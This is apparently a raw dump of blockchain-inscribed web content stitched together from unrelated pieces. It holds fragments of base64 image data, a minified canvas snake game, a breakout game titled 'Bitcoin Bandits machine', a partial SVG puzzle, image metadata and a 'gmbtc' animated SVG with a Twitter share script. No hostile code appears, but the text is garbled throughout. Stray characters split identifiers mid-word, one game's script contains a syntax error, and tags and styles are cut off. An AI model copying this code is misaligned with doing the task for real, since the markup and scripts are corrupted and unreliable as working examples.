Ozf2Zt4ezA2d0kEDBKVAAwQl4mCo5N8b18o555xTjO++++6BzAszoYMGCEqBBghKxMFQ2rFjx1DODXXooAGCUqABghJxwAhrnGLnBLvhpIMGCEoHDQM26WS7z3y2GG8YxGIIRQcNEJQCDRCUiIOhtHTp0qGcG+rQQQMEpUADBCXiYKgcOnRoqOaFmdBBAwSlQAMEJeJgqOzbt2/QS5hk/vz5g14CI0wHDRCUAg0QlIgDatqzZ0/peMWKFQNYzVSNE+xScordsNNBAwSlg2Yo5Z3rwoUL+/ra+et1+0PCj7/pDcV49/GT7S7r6iswTHTQAEEp0ABBiTgYSv2ONWAQdNAAQSnQAEGJOGAE2Ps8mnTQAEEp0ABBiTigpn7d6r3okf0ppZR2Z4+JL8aLDhogKAUaICgRB9TUy7M4xtUVl/x2Mb7//vt7/no7duzI/nVaz1+vUzpogKAUaICgRBwMlWGJFM4555yuzZXv3MhvSKm6htGhgwYISgdN38yZO68YLz53WUopM
pYmJiUEtp6c2bdpUjBu/azcMY6e8+DnND+HOP//8Ypx/GLjxc1/s55JSOukZ0/44/9Cy72vL6KABglKgAYIScTAQjbijm3/+R5VHOzTds/M7g15CSimlXd9/bNBLqKSDBghKgQYISsTBQPnzf7z04zbuboiyTh00QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAO7K8Q5SD5KOsA+k8HDRCUAg0QlAINEJQCDRCUDwmBntq0aVPp48tXr+3zSqYXcZ06aICgFGiAoGYtX7326KAXMQjb7rh10EuAaUWLADpV9f+1aL9fxHXqoAGCUqABghrbiAMgOh00QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAM
UAo0QFAKNEBQCjRAUP8Pcw74Jex+e08AAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snaM
ke.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=gM
etRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0).}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
AwSlxDEAebkjpV3tjUua/VWM6pznxx57bKj6hZmQQQMEJUADBKXEEcTKmxuWKRb2ZhzR3XfffYMewm7mz58/6CEwi8mgAYISoAGCUuKAhrZv317aXrp06QBGM1lrB7uU7GI37GTQAEHJoBlKeea6YMGCvt47v1+3HxJedNSyor1m7Y27GrLgkSWDBghKgAYISomjoY1r39X+oWwnugqjujS7V/pd1oBBkEEDBCVAAwSlxFGhspSxeXr95RvvX3xp+9eu3EE3mPs8O8mgAYISoAGCUuLolvHTU0opPbiq/n2CZeUOpY7h0a+l3s+ue0NKKaVvtxasJOWLUSODBghKgAYISoljD8XsjapFKM+VMqrMW98+30m5o+Xiu83sGBa93ItjVK1aeUrR3rZtW8/vt2XLluynl/T8ftMlgwYISoAGCEqJYwbyEkaZTsodrXa+VwfVhqWksGjRoq71lc/cyBekVF3D7CGDBghKBj0DeYZcpslDwlHwyhPenP10TUoppU2bTh7MM
YHpsw4YNRfvI467pWr/DmCkvfFn7Idzxxx9ftPOHges3Xt3PIaW01wunPJ0/tOz72DIyaICgBGiAoJQ4ZqAbDwlHVbvc0b2v/1HtXtqh5Vv/8/1BDyGllNLdP3l80EOoJIMGCEqABghKiYOB8vV/tPRjGXc3RBmnDBogKAEaICgljj2sXHdFSimljWuzgxU729UtVOlEa4m3HeyAPcmgAYISoAGCUuJoqmYj/7pd6wA6JYMGCEoGXaH1sDClzh4Yto53kinnez97OAhUkUEDBCVAAwSlxNGBvNyRUlb6WNL5r09ZA2hKBg0QlAANEJQSxwysvLlBqWJh78YBzE4yaICgBGiAoARogKAEaICgBGiAoARogKAEaICgzIMGemrDhg2lx8eXr+jzSKYWcZwyaICgBGiAoEaqxJF/Vdl8/clF+85bBjGawbiq7Ni6kfrfILT87ydaCYD+k0EDBCVAAwQ1Nr58xcSgBwHAZDJogKAEaICgBGiAoARogKAEaICgBGiAoARoM
gKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoP4ffOKbh5D0F3wAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["OM
","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.lengM
th;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);conM
text.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)M
){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(funcM
tion(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0113/4096 3,0,1,3,0 ~0.6277625311631709-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 5,1 5,3 0,0 "/>
<polyline fill="#52F6A8" points="8,0 1,6 3,6 8,8 "/>
<polyline fill="#36EEE0" points="8,8 1,5 1,5 0,8 "/>
<polyline fill="#F2F652" points="0,0 2,6 2,6 8,0 "/>
text/plain;charset=utf-8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http:M
//www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:7fbe1c7c-b0fd-421f-a350-5bab1f5257df" xmpMM:InstanceID="xmp.iid:65636cb1-299c-457a-ad30-160baadbe2dc" xmpMM:OriginalDocumentID="xmp.did:4543125e-0928-49c0-8611-6136aff81be5" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438215348881" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:16:53+1M
1:00" xmp:ModifyDate="2023:02:15T16:16:53+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5f8d3840-7949-41c8-8ad1-1ec4e78faba4" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T16:16:55"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MB
                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>h!
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 010 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#8888DE')
      document.querySelector('.m2').setAttribute('fill', '#232282')
      document.querySelector('.m3').setAttribute('fill', '#3C3BB4')
      document.querySelector('.m4').setAttribute('fill', '#5150C6')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #605FD3;}
    .m0GN stop:nth-child(2) {stop-color: #4342C0;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
  <g class="10-n11">
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-M
2.3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm19.77-22.2h-5.75v-3.9c1.566 0 2.816-.133 3.75-.4.966-.267 1.733-.7 2.3-1.3.566-.633 1.066-1.533 1.5-2.7h3.7v35h-5.5v-26.7Zm20.269 27.2c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.1M
5 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm24.27-30.5h4.749l-13.8 35h-4.75l13.8-35Z" class="010/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.07M
9 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-M
.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.2M
15-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.M
